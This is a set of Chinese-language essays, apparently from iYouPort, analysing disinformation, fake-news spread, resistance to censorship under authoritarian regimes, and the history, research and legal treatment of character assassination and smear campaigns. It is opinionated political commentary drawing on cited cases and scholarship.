政权需要积极地压制社会中各种潜在群体之间形成某种共同政治认识、他们的民众支持水平、以及他们如何形成彼此的联盟。这不需要过多的解释，你能在中国看到当权者如何长期以来受益于原子化的社会和高度的互信危机（封闭的和隧道化的小圈子，以彼此的轻蔑来巩固自身的凝聚力；谣传弥漫、群众斗群众，你很难找到真正的同盟）。

另一方面，专制政权受益于各种非政府组织和社会行为者之间有争议的政治认识。因为如果没有人真正知道还可能形成哪些其他政党、他们可能代表什么、以及他们可能得到什么样的支持，对那些反对执政党的组织和潜在有可能形成的党派来说这本身就是一个重大的障碍。

这就是为什么 IYP 从来无视异议群体内部的观点分歧。意见不同、思考方式不同是非常正常的，完全不会影响结盟，只要所有人的目标是一致的。然而也许是“赶上了”超个人主义时代，自我表现变成了绝大多数人的最高追求，而不是通过讨论以获得共识。如果您还能记得关于“暴力/非暴力”等月经之辩，现在就应该可以理解到，一直以来究竟是谁在从这些无意义的口水战中获利。

如上，两种政体之间的这种差异对安全性有着重要的影响。专制政权将容易受到这样的信息攻击—— 即 这些信息攻击能挑战政权对共同政治认识的垄断；他们容易受到外部信息的攻击—— 这些信息可以表明政府正在为自己的利益操纵共同的政治认识；这些攻击可以将有争议的政治认识转化为共同的政治认识。

因此，专制政权最害怕的是人民的联盟、很容易受到允许人们更容易沟通和形成组织的工具的影响，以及那些为公民提供外部信息和观点的工具。

简而言之，能冲击专制政权的是真相、是社会互信、是社团联合，是信息自由，而不是表达另一种立场的虚假消息如宫廷八卦。这在任何一个专制国家都一样。

在阿拉伯之春的第一次爆发之前，突尼斯政府就对共同认识有了广泛的控制。它要求每个人公开支持该政权，使公民们很难知道究竟有多少人讨厌该政权，并阻止任何潜在的反政权联盟组织的发起。然而，它没有及时关注 Facebook，这让公民更容易谈论他们有多么厌恶统治者，并且在最初的事件引发抗议时，人们迅速组织起了反对政权的群众示威活动（抗议者们由于很快手机和在线系统就被禁用，从而逃脱了数字监控）。而像俄罗斯这样的国家将信息自由议程视为他们喉咙里的刀片、包括澳大利亚在内的很多国家将加密技术视为威胁，其原因是显而易见的。

如上，这种差异解释了同一措施如何能够增加一种政权形式的稳定性、并降低另一种政体的稳定性。同时我们也已经看到，开放自由的信息流动能使民主国家受益，同时威胁到独裁政权。

总之

民主国家依赖于人们对其他人观点的良好了解，最明显的是通过自由和公平的选举来体现，公民可以了解他们邻居的观点，因此有动力找到他们知道的广泛有效的解决方案。

而专制权力的稳定需要公众互相之间不知道其他人的感受—— 需要人们对哪些机构、团体和观点是真实的以及哪些是阴谋、欺诈或权力争夺战，保持持续的混淆。需要人们的互不信任，需要人们整天思考的是哪个家伙是当局的线人、谁在钓鱼、谁在利用大众的思维缺陷实现他们自己的名利欲……简单说，“我正在被谁利用”，而不是“我能和谁结盟”。

而当部分异议人士以虚假信息支撑自己的政治立场时—— 哪怕这一立场绝对正义—— 其所造成的结果只有社会进一步地失去互信。造假太拙略了，人们很快就会发现自己拿不到任何确证，进而陷入失望和愤怒。当你听到越来越多的人们开始讽刺“民逗”的时候你应该感觉悲哀，应该还能记得民主派人士和群体曾经是聚拢社会共同认识的新希望。

反过来，一旦公众发现并确定周围有多少人对专制政权的抵制是存在共识的、对恶行的揭露是握有证据的，他们就会大胆地站起来反对。民间独立团体和社群应该能够给民众以“找到组织了”的感觉，这是不需要你分发红包以换取的“点赞和转发”。支持和协作建立在信任之上。

事实上这一切应该早已是常识，绝大部分人都知道专制政权如何视“机密”为生命一般、如何暗箱操作并保持神秘感，专制社会的人们是如何的自我封闭、如何与全球反对力量脱节，以及多么的难以形成本地联盟。

信息自由是改变这一切的基础。人们应该能够无阻碍地访问互联网，应该能够绕避一切审查获得表达的自由，应该能够对真相保有坚定的热情，这就是为什么“Open China”要建立于这样一个理念之上，打破封闭、保护隐私、去中性化、**OSINT** 并展示匿名协作的强大无国界能力。

本地联盟已经不够，互联网最大的效用是全球被压迫者的联盟。当你坚信“中国特殊论”时你是孤单的，当你知道还有其他很多国家和中国有着同样的甚至更糟糕的恶劣环境、但那些国家的人民一直在顽强地抵抗时，你将变得比以往更加自信和强大。〇

原文

为何假消息反而被热传，当下的解决方案有什么错 - iYouPort

心理战和信息战

在战争中，一群人的恐惧无疑是另一群人的希望，在生活中，只要群体竞争存在，一些人的恐惧总能变成另一群人的希望。

「图」

「图」

从去年底至今的网络热词，不论是 post-truth 还是 fake news 其实都不是新鲜事。虚假消息这种东西几乎与人类历史同龄，只是口耳相传时代它的影响力过低，很容易被大多数人所忽略。随着互联网的兴起、社交媒体的普及，假消息被迅速流传，从而迅速影响政治、经济和生活。它原本就是宣传的一部分，只是更多恶意。

本届美国总统选举尤其热闹，社交媒体被认为帮助特朗普击败了希拉里赢得美国总统宝座，很多人怪罪Facebook传播假新闻助力特朗普，虽然Facebook创始人 Mark Zuckerberg 驳斥了这一说法，也承诺了调查。

其实每届选举中假消息都有存在，也都对结果形成了一定程度的影响。2008年大选时，很多美国人相信“奥巴马是伊斯兰教徒，并不是土生土长的美国人，甚至还谣传其与恐怖分子有关”；阿拉斯加州州长Sarah Palin被传言指“认为非洲不是一个大洲，而是一个国家”……太多荒诞的假消息已经被人们遗忘，或许因为它们最终没能逆转趋势，也或许是人们的记忆力不佳。

反思总是好的，每一次反思都能帮助人们在最新的状况下寻找到最佳的解决方案。但前提是触及根源。目前看来，相关思考、情绪和指责大多是肤浅的甚至荒唐的，比如完全归罪于社交媒体、支持网络平台的内容过滤、还有愤世嫉俗怀疑一切。

要解决问题，首先应该知道问题在哪儿。

「图」

「图」

“无知”的大多数

这里的无知并不是贬义词。没有任何人可以是全能的，每个人都有自己的眼界范围、知识储备上限和查证能力，对于习惯于翻阅twitter的普通人来说，它们更为匮乏。感性和情绪化只是轻信的部分原因，很多时候，人们会在理智的情况下接受谣言，因为对于他们的既有认知来说，那些谣言本来就很合乎情理。

因为缺乏直接的知识，人们倾向于相信“有烟必有火”，谣言既然产生了“至少有真的部分在里面”……而撰写假消息的人对其预期影响的目标受众的基础认知早已做出明确的分析，基本是对症下药。尤其是高度依赖互联网获取信息的时候，这种思维方式或许会产生非常严重的后果，也就是直接造成对事实的改变。

一些人和群体倾向于接收特定的谣言，因为假消息与他们的一己之私相吻合，或者与他们心目中的真相相符。人都是感情动物，或是因为恐慌，或是因为希望，我们中的很多人都会接受谣言。日本核污染的谣言日前令中国的反日群体甚为兴奋；误解恐怖主义和宗教关系的人会相信Trump的移民禁令真的能反恐；在恐惧中迷失的土耳其人仍认为埃尔多安是“平暴英雄”；中国网络上流行了多年且不断更新细节的所谓“脑控”月经贴，暴露的是人们对威权政府日渐深厚的惧怕……

在战争中，一群人的恐惧无疑是另一群人的希望，在生活中，只要群体竞争存在，一些人的恐惧总能变成另一群人的希望。

互联网在一定程度上使人们生活在自行设计的回音室里，你在Twitter上的关注对象基本都是与你有类似意识形态背景的人，即便关注了相反观点的人也不过是为了嘲笑和批评他们，对吗？这就是自行构建的回音室。随着社交媒体爆炸性的增长，用户快速分裂为自我选择的不同群体，于是不同的谣言会在不同社会群体中生根发芽。

如果你有国际主义、自由主义倾向，你可能认为大多数美国人都已经被特朗普的移民禁令激怒了。因为可见的是，电视频道、报纸、社交网络都在报道和传播反对的声浪；但如果你是Trump的支持者、是Breitbart News等极右翼网站的用户，你会发现数以百万计的美国人

仍在认为特朗普的禁令是完全明智的。近日，根据媒体引述的康涅狄格州Quinnipiac University进行的一项民调表明，48%的美国人“支持暂停那些有恐怖主义倾向的地区的人们移民美国”，同时42%的受访者表示反对。

这一点也不奇怪，网络碎片化让不同群体很容易持有彼此冲突的“真相”。更，网络谣言传播的大环境也是非常重要的，众所周知，每一位网民都处于严重的信息过载状态下，Instagram在提醒你最爱的影星刚刚更新了照片、Twitter会不停的拉你来看突发新闻、wechat上红包千万别错过啊、老板的邮件要确保及时回复……信息量过载不仅令人分心，还会影响判断力，直觉在快速运转中时，偏见、情绪化和认知缺陷都会呈现最大值，你基本没有时间去思考。

长此以往，被动接纳就成为了习惯。是信息泛滥的环境剥夺了人们的思考自主性。19世界中期，研究发现了一种被命名为“退却神经症”的症状，患者情绪麻木、缺乏活力，随着症状的加深，对刺激性信息的追求越来越高，普通的刺激程度已经无法令他们动容。当时这种心理问题多发现于从收容所出来的人身上，而网络时代，在某种程度上我们的生活和收容所已经非常接近。

「图」

「图」

假消息传播的过程 - - 社会流瀑和群体极化

这是两个重叠的过程，假消息在很大程度上是通过它们来传播的。

社会流瀑之所以会发生是因为人们倾向于以他人的所信所为为依据，如果一个人看到其他人都在传播一条信息，不论其真伪，都会倾向于信任。尤其是在对这条消息的内容一无所知的情况下。这里面的“其他人”很可能并没有超过五个人，因为他们是你在网络上熟悉的人、来自长期留驻的群聊，感染力会非常大。

当人们追随一些网络名人或圈子大佬的言行时，社会流瀑就更容易发生了。曾经在某群聊中出现了一个奇怪的议题：“Trump的胡说八道（post-truth politics）是否应该被言论自由宽容”。只能说明提出该问题的网友既不懂言论自由的边界，也不了解社会流瀑的危害。

在经济领域，假消息会招致投机泡沫、商品价格大涨，2008年的金融危机就与投机泡沫有很大关系。谣言会引起大恐慌，恐慌的情绪比快

乐的情绪更具感染力，能迅速从一个人传至另一个人，为了规避灾难，人们会选择宁信其有。如果是在一个群体中出现，恐慌和厌恶这类强刺激性情绪会更加倍的扩散。上海去年9月逮捕了7名房地产经纪人，理由是他们“故意”传播谣言以影响住宅市场并提升个人业绩。谣言称，中国央行将从9月1日起对那些离婚不足一年的个人提高抵押贷款首付要求和基准利率。由于购房者急于在新政生效前锁定抵押贷款，据报道，该消息导致房价和销量飙升。由于已婚夫妻试图躲避新政，谣言还引发了（假）离婚潮。

群体极化指的是当想法相似的人聚在一起的时候，他们最后得出的结论总是会比交流之前做出的想法更加极端。即便一则谣言在群体内出现时人们是半信半疑的，然而这群人却很可能在通过交谈后对其深信不疑，即便他们知道那不过是群体内“其他人的想法”而已。

我们中的任何人在互联网上都有自己的人际关系网络，获取的信息就来自这其中，不论这些信息说的是什么，我们都很可能容易相信它们全部真实。

「图」

「图」

如何规避假消息的侵害

Edward Snowden 认为假新闻其实不是问题，真正的问题是将Facebook作为唯一的新闻来源。因为网络效应和先发优势，人们选择Google 或Facebook 或 Twitter后就不再离开，这些社交网络支配了人们的网络生活。Snowden认为，如果人们有多个新闻来源，鉴定假新闻将会更加容易。他建议最好停止将 Facebook作为唯一的新闻来源。

渠道多样化听起来有些道理，但很明显，这将会同时加大信息量，也就是进一步抑制了独立判断能力的发挥。更不用说，人们的情绪本身就是寻找真相的障碍，没有人是绝对中立的，或多或少都会带有一定程度的偏见，偏见越多越容易影响人们对信息做出的反应。

其原理名为偏颇吸收效应（biased assimilation），它还会导致那些已经接受了虚假消息的人不会轻易放弃自己的选择。驱逐人们脑海里的固有想法是非常困难的，即便将真相呈现出来，他们也很难相信。

最显而易见、最标准的方法是：设立并坚守言论自由的机制，把人们

置身于均衡的信息中，尽可能有机会接收到知情人士发布的更正信息。

很多人坚信思想市场，认为它是获取真相的途径，美国大法官霍姆斯曾说：“我们所期望的终极之善来自于思想的自由交换，思想市场的自由竞争是检验真理的最佳标准”。但有思想市场也不一定有助于鉴别真伪，中国政府常用的方法如先封杀一个人的社交网络账号，再对其造谣抹黑，被污蔑者没机会接触媒体，也就完全没机会为自己申辩，这类假消息是很难通过思想市场来辨析的。

在某种程度上，言论自由的目的是促进自治，尽管人们的想法有时并不正确，但如果不能畅所欲言，良性运转的民主制度就不可能存在。Trump时代尤其要小心，如果被政府官员和机构散布假消息，毫无疑问将是对民主自由最大的损害。

「图」

「图」

切不可唤醒审查的恶魔

虚假消息阻碍了公民对事态严重性的判断、剥夺了知情权，削弱我们应对危机的思维能力。但这并不应该成为设立审查制度的理由，任何规范言论的行为都将产生寒蝉效应，这是非常重要的。

妨碍言论自由所引发的寒蝉效应有可能妨碍真相的传播，在民主国家，很多有志之士会建议政府给谬误留下一定的空间，哪怕谬误会产生糟糕的影响。在这种情况下，管制越少，促进真相浮出的效果就越好。威权政府对信息的管控只会令谣言更多出现，人们也会因此变得更加愚蠢。

还有一种相反的情况，有些时候寒蝉效应能起到保护作用。如果没有寒蝉效应，思想市场有可能使人们接受、散播对个人和机构破坏性极强的错误信息，而对寒蝉效应本身的恐惧也会对公众讨论和我们的行为产生新的寒蝉效应。

普及和增进人们对信息传播机制的了解是非常重要的，也是为什么我一直支持更多人加入到社交媒体内容创作中来，而不是扩散厌恶情绪而鼓励远离它。亲手制作和传播内容将更好的帮你掌握传媒心态，也就有可能更好的理解如何探求和保护真相。

—— 未完待续 ——

原文

人格暗杀和抹黑运动：谁在受益？ - iyouport

免费书和纪录片心理战和信息战维稳面面观

【2019年7月3日存档】总体过程就是这样的：你虚构了一些东西，然后你想办法让主流媒体陈述你虚构的东西，由于虚构的刺激性有很大的流量吸引力，其他主流媒体和小媒体会纷纷引述这一”热点”，你的虚构会被迅速推高，然后你就会看到，几乎所有人都相信这是真的。

人格暗杀（CA）是一种蓄意的和持续的努力，目的是破坏个人的声誉或信誉，也经常选择性地应用于社会团体和机构。

人格暗杀的操作者采用开放的和隐蔽的方法来实现目标，例如提出错误的指控、栽赃和煽动谣言，以及操纵信息。即便此后指控被证明是错误的也没什么关系，它借用了公众执迷于负面消息的宁信其有，并且煽动效果已经达到。这就是为什么说这手活非常黑。

人格 暗杀是通过人格攻击实现的，可以采取多种形式，例如口头侮辱、演讲、流行小册子、竞选广告、漫画和互联网meme。

人格攻击可以导致个人被其专业社区或其社会或文化环境的其他成员所拒绝，断送其发展前途。试想，如果一位知名的而且行动力卓越的活动家被当局声称其曾“秘密服务于政府（即为政府线人）”？不仅该活动家本人会被断送，而且很可能会因此捣毁一个组织和一场运动。

CA 攻击如果不能有效防御可能会完全毁灭一个人，因为伤害可以持续一生。对于一些历史人物来说，这种损害已经持续了几个世纪。

CA 可能涉及夸大、误导性的半真半假、或操纵事实以呈现目标人物的不真实画面。可以成为宣传战中的诉诸人身（Ad hominem）的一种形式。

“人格暗杀”这个概念从1930年左右开始流行，作为学术研究的主题；六十年后，Icks 和 Shiraev 通过解决和比较各种针对历史人物的人格暗杀事件，使这一术语重新焕发了活力并恢复了学术兴趣。[Martijn

Icks & Eric Shiraev (eds.), Character Assassination throughout the Ages (2014). New York: Palgrave and Macmillan]

CA 的基本原理 ——

根据定义，人格暗杀是故意而为的：是为了破坏个人在他人眼中的声誉而发起的，于是不包括不知情的人无意中协助的传播；如果一个人的声誉被意外损坏，例如通过一种轻率的评论，那就不构成人格暗杀；由于人格攻击与声誉有关，因此它们也是公共性质的定义。私下侮辱某人并不会导致人格暗杀。

每个人格暗杀行动总是涉及五个方面/支柱：攻击者、目标、信息中介或媒体、观众和背景。最后一类“背景”可以指攻击发生的政治系统、文化环境、技术水平、或影响和确定人格暗杀的任何其他因素。

许多人格攻击发生在政治领域，例如在竞选活动中针对竞选对手、或在政治竞争中针对社会活动家及异议人士。然而，其他领域的知名人物也很可能成为人格攻击的目标，如 宗教领袖、科学家、运动员、电影明星。

之所以称为“暗杀”有双重含义，其一是它造成的真实后果，即 如杀戮一般可以彻底毁掉一个人/意识形态和主张或一场革命；其二它发生于真正的暗杀不可行或不足以摧毁目标的时候，比如杀死一名调查记者，反而会激励其勇敢的同行继续遇害者的工作，并同时强调了该记者所涉及的调查之重要性。相反，如果采取人格暗杀，即 栽赃该调查记者与敌国间谍私通，很可能就此摧毁其调查价值，导致无人敢继续这项工作。也就是说，人格暗杀有可能比见血的杀戮效果更高。

另个角度看，人格暗杀不会很轻易使用，其攻击目标对攻击者来说往往都具有足够高的价值。

此外，人格暗杀似乎是一种近乎普遍的、跨文化的现象，可以在大多数国家和不同历史时期找到。

对 **CA** 的研究 ——

Icks 和 Shiraev（2014）讨论了几种政治科学模型，以从攻击者的角度解释CA的原因。他们认为，攻击者的动机往往是基于在心理上摧毁目标、或减少他/她的公众支持、和/或在政治竞争中取得成功的机会。

例如，在选举期间，这种攻击通常被用来影响犹豫不决的选民、给坚

定的选民制造不确定性，或防止支持者背叛。因此，这些攻击成为操纵选民迈向攻击者理想之行动的有效手段。它们还有助于将原本有利的支持者重新定位到“犹豫不决”或“放弃”的行列。

从根本上说，对一个人的形象、声誉或品牌的攻击是否成功取决于相关受众的看法。

例如，动机推理领域的研究表明，消费者会更多选择“他们认为可信”的信息，更愿意接受与自身现有的态度、期望或行为最为一致的内容，例如候选人的投票记录。而“混合”处理模型表明选民使用两种类型的信息来构建他们的候选人印象或回应 CA：即 更新的和诉诸人身的。焦虑、或不确定性和紧张的情绪状态，都可以影响人的态度转变。

当组织和领导人发现自己陷入危机时，他们就特别容易受到针对他们的合法性或社会责任的攻击。然后，他们的声誉会在舆论法庭中进行评判，舆论关注的是公开定位的原则，包括道德、社会和政治价值观，或文化、宗教信仰。

情境危机传播理论（SCCT）在组织和政治背景下特别适用。该理论认为，声誉威胁的程度取决于公众*是否认为*组织引发了危机、组织的危机历史以及组织与公众之间的关系声誉（如选民、利益相关者等）。

表征人格攻击 ——

可以根据各种标准对人格攻击进行分类。当我们根据层次结构考虑它们时，可以将其区分为水平和垂直攻击。

前者指的是攻击者和目标拥有大致相同的权力和资源（例如一名总统候选人攻击另一名）的情况，后者是指权力和资源存在巨大差异的情况（例如独裁者攻击反对派，反之亦然）。

如果考虑时机的话，可以根据目标在被攻击时是否还活着来区分实时攻击和死后攻击。死后攻击是为诋毁死者的政治价值和意识形态，以削弱其追随者的斗志。

在政治竞选期间经常会发生实时的/瞬时的攻击。这种快速人格攻击通常是机会主义的。另一方面，人格中毒的缓慢操作是基于长效的愿景。例如自20世纪60年代以来，著名的俄罗斯作家和持不同政见者亚历山大索尔仁尼琴就被指控为叛徒、纳粹合作者、监狱小飞贼和有偿

的外国情报人员等污名。

根据 Thomas 的说法，人格暗杀是一种故意的尝试，通常是由自恋者和/或其代理人，以某种方式影响某人的写照或声誉，从而导致他人对目标人产生极端消极或排斥性的看法。它通常涉及故意夸大或操纵事实，传播谣言和蓄意的错误信息，以呈现目标人物的不真实情况，以及毫无根据和过度的批评。[Thomas, D (2010), Narcissism: Behind the Mask]

《Snakes in Suits: When Psychopaths Go to Work》这本书的作者描述了一个在典型的工作场所如何攀登并维持权力的五阶段模型。在第四阶段（对抗）中，使用的就是人格暗杀技术来维持他们的议程。[Baibak, P; Hare, R. DSnakes in Suits: When Psychopaths Go to Work (2007)]

在政治方面 ——

在政治方面，CA通常是政治“诽谤运动”的一部分，涉及故意的、有预谋的努力，以破坏个人或团体的声誉和信誉。此类活动的目的是阻止或削弱目标的支持基础。另一个目的是迫使目标在时间、能量和资源方面做出反应。

CA也是一种消极竞选形式，而且是最常用的形式，被委婉地称之为“反对派研究“，全部工作就是收集尽可能多的可用于诋毁性操作的信息的做法。抹黑运动是使用虚假或扭曲的信息进行宣传（后面详细介绍）；丑闻可以被用来以虚假或夸大的方式将一个人与一个主要负面事件联系起来。

通常包括以无法辨认的谣言和歪曲、半真半假、甚至是彻头彻尾的谎言形式的广告攻击；诽谤运动通常由八卦杂志和网站传播。

即使抹黑运动背后的事实已被证明缺乏适当的基础，这种策略通常也依旧是有效的，因为无论事实如何，目标的声誉已经受到了损害，极难修复。

而且，抹黑也可以非常有效地将目标的注意力从重点信息中转移开。被抹黑的目标必须专注于解决纠正错误信息的问题，而不是专注于他们对原始问题的回应。

在极权主义政权中 ——

个人驱动的人格暗杀的效果不等于国家驱动的。由大规模政治宣传和

文化机制促成的国家支持的声誉破坏运动可能产生更深远的影响。

一个政府支持或直接鼓励旨在摧毁其对手的尊严和声誉的运动、一个社会默许犯罪（甚至是大屠杀罪犯）完全不受惩罚的最早迹象之一就是人格暗杀。

动员破坏对手声誉是动员暴力以歼灭对方的前奏；宣传战的舆论攻击都会发生在实质性的身体攻击之前。

研究机构 ——

国际人格暗杀研究学会（ISSCA）专门研究如何在历史和当代时期执行人格攻击和人格暗杀。

2011年7月，来自9个国家的学者聚集在德国海德堡大学，讨论“历史和当下的抹黑运动和诽谤艺术”。他们组建了一个小组来研究各个时代的人格暗杀事件。该小组包括历史学家、政治学家和政治心理学家。[“Character Assassination: The Art of Defamation Throughout the Ages. International Colloquium Heidelberg July 21st—July 23rd, 2011” (PDF).]

人格暗杀和声誉政治研究实验室（CARP）成立于2016年，与ISSCA合作，包括心理学、历史、传播和公共关系学科的学者。CARP 团队将工作重点放在三个方面：研究历史和当代人格暗杀的案例；为学术和公众提供有关人格暗杀原因、影响和预防的教育；风险评估，以确定关注其声誉的公众人物的脆弱性和缓解策略。

Mason CARP 网站提供有关实验室及其活动的资料。 CARP实验室还发布了一个博客，并与全球信息项目联系起来，该项目是世界公开秘密、不成文规则和隐藏实践的领先在线资源。

CARP 2019年的会议主题是“人格暗杀与民粹：挑战与回应”，展示了危机管理、新闻和公共关系从业人员的重要意见。该活动吸引了来自全球二十个国家的学者。

2019年，CARP 实验室出版了第一本名为“人格暗杀和声誉管理”的手册。[Samoilenko, Sergei; Icks, Martijn; Keohane, Jennifer; Shiraev, Eric (2019). *Routledge Handbook of Character Assassination and Reputation Management* (1 ed.). UK: Routledge. ISBN978–1138556584.]

—— 抹黑运动 ——

抹黑是抹黑，抹黑运动是一场运动。这场运动可以非常可怕，因为它动员社会公信力高的组织和团体共同陈述一个虚假的“事实”，尤其是主流媒体的参与，其结果将有可能等同于伪真相。（在这里看到我们曾经对伪真相的分析《警惕微妙的劝导术：伪真相—— 新闻机构和读者皆需谨慎》）

抹黑运动的共同目标是公职人员、政治家、政治候选人、公民活动家和前配偶。该术语也适用于其他环境，如工作场所。

抹黑运动一词在1936年左右开始流行。[“Google Ngram Viewer”。*books.google.com*]

定义 ——

抹黑运动是故意的、有预谋的努力，目的是破坏个人或团体的声誉、信誉和品格。与消极竞选活动一样，大多数情况下都是针对政治家、政治候选人和其他公众人物进行的诽谤。但是，私人或团体也可能成为公司、机构、法律系统和其他正式团体中的诽谤运动的目标。

抹黑策略与正常的讨论或辩论完全不同，因为抹黑不涉及有关的问题或论点。抹黑是一种简单的企图恶化一个群体或个人的努力，目的是破坏他们的可信度。它利用的是公众对奇闻/花边新闻的巨大兴趣。

即使抹黑运动背后的事实被证明缺乏适当的基础，这种策略通常也是很有效的，因为目标的声誉在事实已知之前就已经被损害了。

抹黑也可以有效地将公众的注意力从有关问题转移到特定的个人或群体身上。被抹黑的目标通常必须集中于纠正错误信息而不是原始问题。

总体过程就是这样的：你虚构了一些东西，然后你想办法让主流媒体陈述你虚构的东西，由于虚构的刺激性有很大的流量吸引力，其他主流媒体和小媒体会纷纷引述这一“热点”，你的虚构会被迅速推高，然后你就会看到，几乎所有人都相信这是真的。

许多人认为抹黑策略是低级的、虚伪的话语形式；然而它们非常常见，甚至非常有效。

在许多国家，法律承认声誉和信誉的价值。构陷（虚假和破坏性出版物）和诽谤（虚假和破坏性的口头陈述）通常会受到法律惩罚，并可能导致监禁或损害赔偿。但是，如果抹黑运动是由当权者操作的，他们就有办法令其操纵不被证明为诽谤。

抹黑运动案例 ——

1、JohnC.Frémont—1856年美国总统大选候选人

在1856年的总统大选期间，JohnC.Frémont 成为诽谤运动的目标，攻击者声称他是天主教徒。该运动旨在破坏对那些怀疑天主教的人对 Frémont 的支持。

2、通用汽车公司对阵 Ralph Nader

20世纪60年代，拉尔夫·纳德（Ralph Nader）成为了诽谤运动的受害者，当时他正在为汽车安全而竞选。为了抹黑 Nader 并将公众的注意力从他的竞选活动中转移出来，通用汽车公司聘请了私人调查员搜寻他过去的破坏性或尴尬的事件。

1966年3月初，多家媒体报道称，通用汽车曾试图诋毁 Nader，聘请私人侦探窃听他的手机并调查他的过去，甚至雇佣妓女以诱骗他。

3、Gary Hart —1988年美国总统候选人

Gary Hart 是1988年美国总统竞选期间抹黑运动的目标。这次是与黄色新闻相关的竞选策略，黄色新闻是这样一种新闻报道，它只提供很少的研究，相反，它使用引人注目的头条、丑闻和耸人听闻来吸引公众注意力。

例如，在 Gary Hart 1988年总统竞选期间，“纽约邮报”在头版贴了一串超大的黑色字母：“GARY: I’M NO WOMANIZER”[William Safire. (May 3, 1987). “On Language; Vamping Till Ready”. *The New York Times*.]

抹黑运动并非都是很成功的，也有不怎么成功的，比如：

4、中国攻击苹果公司

2011年，中国发起了针对苹果的诽谤运动，包括电视和广播广告以及国营报纸上的大批文章。但是该活动未能使中国公众反对该公司及其产品。[Greenfield, Rebecca (27 March 2013). “China’s Apple Smear Campaign Has Totally Backfired”. *theatlanticwire.com*.]

5、Sathya Sai Baba

精神领袖 Sathya Sai Baba 被指控欺诈、性虐待和其他不当行为。这

也是一场典型的诽谤运动。他从未面对任何调查，批评者本身因缺乏任何证据而受到质疑。

6、Julian Assange

近20年来最大规模的抹黑运动就发生在当权者对透明度革命的攻击上。在这场攻击运动中，主流媒体的参与、对当权者的屈服，起到了非常严重的恶劣作用。在这里看到中文版介绍：https://www.iyouport.org/?s＝Julian＋Assange

澳大利亚著名调查记者 John Pilger 和美国著名调查记者、普利策奖得主 Glenn Greenwald 对此有过非常多的深入分析。[John Pilger, “The war on WikiLeaks: a John Pilger investigation and interview with Julian Assange,”John Pilger Website, 13 January 2011. Retrieved 19 March 2014; “WikiLeaks is a rare truth-teller. Smearing Julian Assange is shameful,”John Pilger Website, 14 February 2013. Retrieved 19 March 2014.]

—— 为什么更多人格暗杀刺客不会被起诉？——

> 支持或反对一场人格攻击不应该取决于你我对被攻击对象的印象如何。遗憾的是，大多数人难以做到这点。

对人格暗杀的广泛研究发现的第一个悲催的事实就是，这种“传播策略”在各个时代的持久力。

正如 Martijn Icks 的作品所表明的那样，人格攻击甚至可以追溯到古代雅典的民主先辈们。我们还看到了针对美国历史上以及整个西欧历史上每位总统的人格暗杀企图。事实上，在搜索过的所有历史时期和背景中，都找到了使用人格攻击的例子。

民主政府似乎有一些东西可以使人格暗杀成为一种特别有用的策略（当然，众所周知专制政权也使用人格暗杀的策略，经常让目标几乎无法清除）。

的确，当选举代表为国会的利益服务时，我们这些普通人的时间和注意力都很有限。选民可能会使用诸如真诚度和讨喜之类的捷径来做出决策。然而这两个人格元素都是人格攻击的常见目标，特别是以虚伪的指责形式。事实上，“真诚度” 已经成为 2020年大选的基石。

至少在政治上，一个值得注意的关于人格暗杀的事实是，在遭受袭击

之后，公众人物很少能够通过起诉要求赔偿。简而言之，新闻自由的民主标志及其中的宪法保护使得成功起诉一个人格暗杀案件变得非常困难。

4月，来自加利福尼亚州的共和党代表德文·努涅斯（Devin Nunes）起诉弗雷斯诺蜂（Fresno Bee）进行人格攻击时，人格暗杀与法律之间的关系就在新闻中表现出来。

Nunes 反对一个描述旧金山湾邮轮的报道，该邮轮以毒品和卖淫为特色，由他部分拥有的一家酒厂的投资者参与。该报道指出，Nunes 是否知道该事件是“不清楚”的。Nunes 说他不了解该游轮，并且媒体在文章中加入他的名字是出于政治动机的原因“摧毁他的声誉”的计划。

Nunes 不太可能获胜，因为宪法要求“保护新闻自由”，除非公职人员提起的诽谤诉讼能证明媒体采取“实际恶意”和“鲁莽无视真相”的行为。这是非常常见的。其中最引人注目的是1964年纽约时报诉沙利文案。根据最高法院的解释，该法律为公职人员和公众人物制定了单独的标准，表明保护私人声誉的优先级高于第一修正案所涉及的公共声誉。

想象一下，如果媒体被权势绑架而针对揭露真相的人或政治反对派发起人格攻击，不论如何被攻击者都很难申诉。

简单说，只要举起“新闻自由”的大旗，被伤害的公众人物最多只能抱怨攻击者，而无法通过法律渠道进行申诉。第一修正案总是需要在竞争性利益（言论自由和保护声誉）之间进行微妙的平衡，私人和公众人物之间的区别是法院决定平衡这些利益的一个重要方式。

每个人都同意民主取决于能否批评我们的领导人，并且很明显，人格暗杀通常在此是受保护的部分。

—— 2019年 ——

这里以美国为例。事实上在各个国家都一样，因为如今几乎所有国家都在互联网上。

2019年，公众对政治竞争者的支持将主要由党派认同决定，而不是被认为具有品格优势，如 能力或可信度。

美国社会日益扩大的两极分化培养了政治和文化的*部落主义*，部落主义表现为一种催产素效应：支持对不同意见的不容忍、赞美党派和对政党议程的忠诚。在2018年最高法院提名人 Brett Kavanaugh 的听

证会上，候选人在其指定职位上的价值辩论完全被他的支持者和反对者之间的意识形态斗争所取代。这只是数不胜数的同类案例之一。

偏见和不文明将使政治家、个体企业家和媒体受益：

尽管“人格”的相关性地位在下降，但是并没有证据表明人格攻击的数量会减少。在尖锐的意识形态分裂的推动下，政治派别将继续将人格暗杀作为社会说服的极端手段。 通过收集攻击性材料并随后勒索公众人物，个体企业家也将从持续的政治丑闻中受益。

然而，像特朗普这样的知名人士的公众利益将保持高位，因此主流媒体通过吸引人的负面报道以吸引流量不断将其货币化（我们分析过特朗普如何在事实上“帮助”了媒体的盈利）；同样，由于经济上的迫切需要，互联网公司也对公民语话和频繁的CA活动的不断增长做出了更多的*贡献* ——越刺激越火。

根据 Zeynep Tufekci 最近的研究，社交媒体算法直接导致了政治极端主义的兴起。她在2017年出版的书《 **Twitter** 和催泪瓦斯》证明了只要你能不断告诉人们刺激性的内容，人们就会花更多的时间留在网站上。因此，**YouTube** 的算法实际上是为了激励用户而设计的。

关于 Google 的不透明算法如何操纵选举，详见《看不见的独裁》

技术公司将加大力量实施在线审查：

围绕所谓的“虚假新闻”的歇斯底里使公司更有借口以极权主义的方式应用新算法进行审查。2018年10月，Facebook 宣布它已经删除了800多个政治主页和账户。

监视资本主义崛起，今天的平台会大量监控其用户。所谓的“分散监控”，公司通过智能家居设备秘密收集有关公民私生活的信息。最重要的是，互联网公司和情报机构现在可以访问大量的个人数据，包括泄露可能用于勒索下一代政治和商业领袖的信息。

趋势 ——

